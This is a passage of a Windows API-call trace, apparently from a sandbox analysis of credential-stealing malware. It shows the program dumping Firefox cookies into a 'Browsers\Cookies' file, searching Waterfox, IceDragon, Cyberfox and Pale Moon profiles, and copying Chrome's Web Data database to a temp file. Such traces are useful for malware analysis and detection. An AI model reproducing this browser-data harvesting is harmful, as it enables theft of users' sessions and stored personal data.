pbstr=0x18e120*=".mozilla.org\x09TRUE\x09/\x09FALSE\x091559702270\x09_ga\x09GA1.2.267706369.1496630270\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091496716670\x09_gid\x09GA1.2.652256341.1496630270\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091496630330\x09_gat_UA-36116321-1\x091\r\n.java.com\x09TRUE\x09/\x09FALSE\x091500158050\x09s_nr\x091497566050616\r\n.java.com\x09TRUE\x09/\x09FALSE\x091497567850\x09gpName\x09javac%3AVerify%3AInstalled_JRE_Homepage\r\n.java.com\x09TRUE\x09/\x09FALSE\x091497567850\x09gpChannel\x09javac%3AVerify\r\n.java.com\x09TRUE\x09/\x09FALSE\x091497567850\x09gpServer\x09java.com\r\n.oracle.112.2o7.net\x09TRUE\x09/\x09FALSE\x091560638051\x09s_vi\x09[CS]v1|2CA1CC02050323A4-4000119A80008B49[CE]\r\nprefmgr-cookie.truste-svc.net\x09FALSE\x09/\x09FALSE\x091497566082\x09cookie_3rdparty\x09enabled\r\nconsent-pref.truste.com\x09FALSE\x09/\x09FALSE\x091497566072\x09token_test\x09Fri Jun 16 2017 08:34:12 GMT+1000 (AUS Eastern Standard Time)\r\n") returned 1 [0061.607] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1200428247797166008614.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1200428247797166008614.tmp")) returned 1 [0061.612] CharToOemBuffA (in: lpszSrc="Browsers\\Cookies\\MozillaFireFox_silmbjec.default.txt", lpszDst=0x42ab9ec, cchDstLength=0x34 | out: lpszDst="Browsers\\Cookies\\MozillaFireFox_silmbjec.default.txt") returned 1 [0061.612] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x42aba74, Length=0x2e9) returned 0x25770dab [0061.612] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 0 [0061.612] FindClose (in: hFindFile=0x68d540 | out: hFindFile=0x68d540) returned 1 [0061.613] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Waterfox\\Profiles\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\") returned 0x41 [0061.613] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc6e0, cbMultiByte=14, lpWideCharStr=0x18d0c0, cchWideChar=2047 | out: lpWideCharStr="cookies.sqlite䵜穯汩慬楆敲潆彸楳浬橢捥搮晥畡瑬琮瑸㜶〷㌶㤶ㄮ㤴㘶〳㜲ര⸊潭楺汬⹡牯१剔䕕⼉䘉䱁䕓ㄉ㤴㜶㘱㜶र束摩䜉ㅁ㈮㘮㈵㔲㌶ㄴㄮ㤴㘶〳㜲ര⸊潭楺汬⹡牯१剔䕕⼉䘉䱁䕓ㄉ㤴㘶〳㌳र束瑡啟ⵁ㘳ㄱ㌶ㄲㄭㄉ਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ〵㄰㠵㔰र彳牮ㄉ㤴㔷㘶㔰㘰㘱਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ㤴㔷㜶㔸र灧慎敭樉癡捡㌥噁牥晩╹䄳湉瑳污敬彤削彅潈敭慰敧਍樮癡⹡潣७剔䕕⹇疘⹣疘⹇疘⹣疘㔸र灧桃湡敮६慪慶╣䄳敖楲祦਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ㤴㔷㜶㔸र灧敓癲牥樉癡⹡潣൭⸊牯捡敬ㄮ㈱㈮㝯渮瑥吉啒ॅय䅆卌ॅ㔱〶㌶〸ㄵ猉癟३䍛嵓ㅶ㉼䅃䌱ぃ〲〵㈳䄳ⴴ〴〰ㄱ䄹〸〰䈸㤴\x02ꢅ틼\x18\x1aꢅ팄\x18⹼疘Љ") returned 14 [0061.613] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.613] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.613] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Comodo\\IceDragon\\Profiles\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\") returned 0x49 [0061.613] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc6e0, cbMultiByte=14, lpWideCharStr=0x18d0c0, cchWideChar=2047 | out: lpWideCharStr="cookies.sqlite䵜穯汩慬楆敲潆彸楳浬橢捥搮晥畡瑬琮瑸㜶〷㌶㤶ㄮ㤴㘶〳㜲ര⸊潭楺汬⹡牯१剔䕕⼉䘉䱁䕓ㄉ㤴㜶㘱㜶र束摩䜉ㅁ㈮㘮㈵㔲㌶ㄴㄮ㤴㘶〳㜲ര⸊潭楺汬⹡牯१剔䕕⼉䘉䱁䕓ㄉ㤴㘶〳㌳र束瑡啟ⵁ㘳ㄱ㌶ㄲㄭㄉ਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ〵㄰㠵㔰र彳牮ㄉ㤴㔷㘶㔰㘰㘱਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ㤴㔷㜶㔸र灧慎敭樉癡捡㌥噁牥晩╹䄳湉瑳污敬彤削彅潈敭慰敧਍樮癡⹡潣७剔䕕⹇疘⹣疘⹇疘⹣疘㔸र灧桃湡敮६慪慶╣䄳敖楲祦਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ㤴㔷㜶㔸र灧敓癲牥樉癡⹡潣൭⸊牯捡敬ㄮ㈱㈮㝯渮瑥吉啒ॅय䅆卌ॅ㔱〶㌶〸ㄵ猉癟३䍛嵓ㅶ㉼䅃䌱ぃ〲〵㈳䄳ⴴ〴〰ㄱ䄹〸〰䈸㤴\x02ꢅ틼\x18\x1aꢅ팄\x18⹼疘Љ") returned 14 [0061.613] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.613] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.613] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\") returned 0x4e [0061.613] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc6e0, cbMultiByte=14, lpWideCharStr=0x18d0c0, cchWideChar=2047 | out: lpWideCharStr="cookies.sqlite䵜穯汩慬楆敲潆彸楳浬橢捥搮晥畡瑬琮瑸㜶〷㌶㤶ㄮ㤴㘶〳㜲ര⸊潭楺汬⹡牯१剔䕕⼉䘉䱁䕓ㄉ㤴㜶㘱㜶र束摩䜉ㅁ㈮㘮㈵㔲㌶ㄴㄮ㤴㘶〳㜲ര⸊潭楺汬⹡牯१剔䕕⼉䘉䱁䕓ㄉ㤴㘶〳㌳र束瑡啟ⵁ㘳ㄱ㌶ㄲㄭㄉ਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ〵㄰㠵㔰र彳牮ㄉ㤴㔷㘶㔰㘰㘱਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ㤴㔷㜶㔸र灧慎敭樉癡捡㌥噁牥晩╹䄳湉瑳污敬彤削彅潈敭慰敧਍樮癡⹡潣७剔䕕⹇疘⹣疘⹇疘⹣疘㔸र灧桃湡敮६慪慶╣䄳敖楲祦਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ㤴㔷㜶㔸र灧敓癲牥樉癡⹡潣൭⸊牯捡敬ㄮ㈱㈮㝯渮瑥吉啒ॅय䅆卌ॅ㔱〶㌶〸ㄵ猉癟३䍛嵓ㅶ㉼䅃䌱ぃ〲〵㈳䄳ⴴ〴〰ㄱ䄹〸〰䈸㤴\x02ꢅ틼\x18\x1aꢅ팄\x18⹼疘Љ") returned 14 [0061.613] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.613] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.614] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned 0x58 [0061.614] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.614] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc6e0, cbMultiByte=14, lpWideCharStr=0x18d0c0, cchWideChar=2047 | out: lpWideCharStr="cookies.sqlite䵜穯汩慬楆敲潆彸楳浬橢捥搮晥畡瑬琮瑸㜶〷㌶㤶ㄮ㤴㘶〳㜲ര⸊潭楺汬⹡牯१剔䕕⼉䘉䱁䕓ㄉ㤴㜶㘱㜶र束摩䜉ㅁ㈮㘮㈵㔲㌶ㄴㄮ㤴㘶〳㜲ര⸊潭楺汬⹡牯१剔䕕⼉䘉䱁䕓ㄉ㤴㘶〳㌳र束瑡啟ⵁ㘳ㄱ㌶ㄲㄭㄉ਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ〵㄰㠵㔰र彳牮ㄉ㤴㔷㘶㔰㘰㘱਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ㤴㔷㜶㔸र灧慎敭樉癡捡㌥噁牥晩╹䄳湉瑳污敬彤削彅潈敭慰敧਍樮癡⹡潣७剔䕕⹇疘⹣疘⹇疘⹣疘㔸र灧桃湡敮६慪慶╣䄳敖楲祦਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ㤴㔷㜶㔸र灧敓癲牥樉癡⹡潣൭⸊牯捡敬ㄮ㈱㈮㝯渮瑥吉啒ॅय䅆卌ॅ㔱〶㌶〸ㄵ猉癟३䍛嵓ㅶ㉼䅃䌱ぃ〲〵㈳䄳ⴴ〴〰ㄱ䄹〸〰䈸㤴\x02ꢅ틼\x18\x1aꢅ팄\x18⹼疘Љ") returned 14 [0061.614] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.614] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.614] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 0x45 [0061.614] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x68d540 [0061.614] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.614] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0061.614] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0061.614] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0061.634] SysReAllocStringLen (in: pbstr=0x18e100*=0x0, psz="120120", len=0x6 | out: pbstr=0x18e100*="120120") returned 1 [0061.634] SysReAllocStringLen (in: pbstr=0x18e0a4*=0x0, psz="2334", len=0x4 | out: pbstr=0x18e0a4*="2334") returned 1 [0061.634] SysReAllocStringLen (in: pbstr=0x18e0a0*=0x0, psz="8914", len=0x4 | out: pbstr=0x18e0a0*="8914") returned 1 [0061.634] SysReAllocStringLen (in: pbstr=0x18e09c*=0x0, psz="1461", len=0x4 | out: pbstr=0x18e09c*="1461") returned 1 [0061.634] SysReAllocStringLen (in: pbstr=0x18e098*=0x0, psz="6440", len=0x4 | out: pbstr=0x18e098*="6440") returned 1 [0061.634] SysReAllocStringLen (in: pbstr=0x18e108*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x55 | out: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0061.634] SysReAllocStringLen (in: pbstr=0x18e0ac*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x55 | out: pbstr=0x18e0ac*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0061.634] SysReAllocStringLen (in: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x55 | out: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0061.634] SysReAllocStringLen (in: pbstr=0x18e0a8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x54 | out: pbstr=0x18e0a8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0061.634] SysReAllocStringLen (in: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x54 | out: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0061.635] SysReAllocStringLen (in: pbstr=0x18e0a4*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x54 | out: pbstr=0x18e0a4*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0061.635] SysReAllocStringLen (in: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x54 | out: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0061.635] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0061.635] SysReAllocStringLen (in: pbstr=0x18e104*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp", len=0x3f | out: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp") returned 1 [0061.635] SysReAllocStringLen (in: pbstr=0x18e0ac*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp", len=0x3f | out: pbstr=0x18e0ac*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp") returned 1 [0061.635] SysReAllocStringLen (in: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp", len=0x3f | out: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp") returned 1 [0061.635] SysReAllocStringLen (in: pbstr=0x18e0a8*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp", len=0x3f | out: pbstr=0x18e0a8*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp") returned 1 [0061.635] SysReAllocStringLen (in: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp", len=0x3f | out: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp") returned 1 [0061.635] SysReAllocStringLen (in: pbstr=0x18e0a4*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp", len=0x3f | out: pbstr=0x18e0a4*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp") returned 1 [0061.635] SysReAllocStringLen (in: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp", len=0x3f | out: pbstr=0x18e104*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp") returned 1 [0061.635] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data"), lpNewFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201202334891414616440.tmp"), bFailIfExists=1) returned 1 [0061.643] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp", cchWideChar=63, lpMultiByteStr=0x18d0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp", lpUsedDefaultChar=0x0) returned 63 [0061.643] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42abf58, cbMultiByte=63, lpWideCharStr=0x18d088, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmpeb Datab Data१剔眕䪔眺") returned 63 [0061.643] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0061.643] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp", nBufferLength=0x43, lpBuffer=0x4503ca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp", lpFilePart=0x0) returned 0x3f [0061.643] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201202334891414616440.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18dec0 | out: lpFileInformation=0x18dec0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf45b2f0, ftCreationTime.dwHighDateTime=0x1d53993, ftLastAccessTime.dwLowDateTime=0xaf45b2f0, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x82d370c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1 [0061.643] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201202334891414616440.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201202334891414616440.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x440 [0061.643] ReadFile (in: hFile=0x440, lpBuffer=0x18dff0, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x18dfb4, lpOverlapped=0x18df78 | out: lpBuffer=0x18dff0*, lpNumberOfBytesRead=0x18dfb4*=0x64, lpOverlapped=0x18df78) returned 1 [0061.643] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0061.643] LockFileEx (in: hFile=0x440, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d378 | out: lpOverlapped=0x18d378) returned 1 [0061.643] LockFileEx (in: hFile=0x440, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d36c | out: lpOverlapped=0x18d36c) returned 1 [0061.643] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d37c | out: lpOverlapped=0x18d37c) returned 1 [0061.643] MultiByteToWideChar (in: CodePage=0xfde9, 